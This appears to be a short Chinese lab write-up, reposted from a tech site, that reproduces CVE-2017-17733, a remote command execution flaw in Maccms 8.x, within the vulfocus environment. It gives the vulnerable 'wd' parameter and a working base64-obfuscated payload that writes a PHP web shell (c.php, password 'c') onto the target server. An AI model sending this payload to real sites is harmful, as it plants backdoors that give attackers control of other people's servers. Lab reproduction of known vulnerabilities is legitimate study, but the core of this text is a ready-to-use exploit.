vulfocus——maccms远程命令执行(CVE-2017-17733

描述

Maccms是一套跨平台的基于PHP和MySQL快速建站系统。
Maccms 8.x版本中存在安全漏洞。远程攻击者可借助index.php?m=vod-search请求中的‘wd’参数利用该漏洞执行命令。

复现

1.访问web页面

2.借助index.php?m=vod-search请求中的‘wd’参数利用该漏洞执行命令。

利用浏览器浏览器发送POST数据包或直接使用Python编写的脚本进行发送POST数据包
构造一句话木马payload： 

wd={if-A:print(fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x)))}{endif-A}

3.进行攻击，该payload是直接生成一个c.php一句话木马文件，连接密码为c。 

 

这篇好文章是转载于：学新通技术网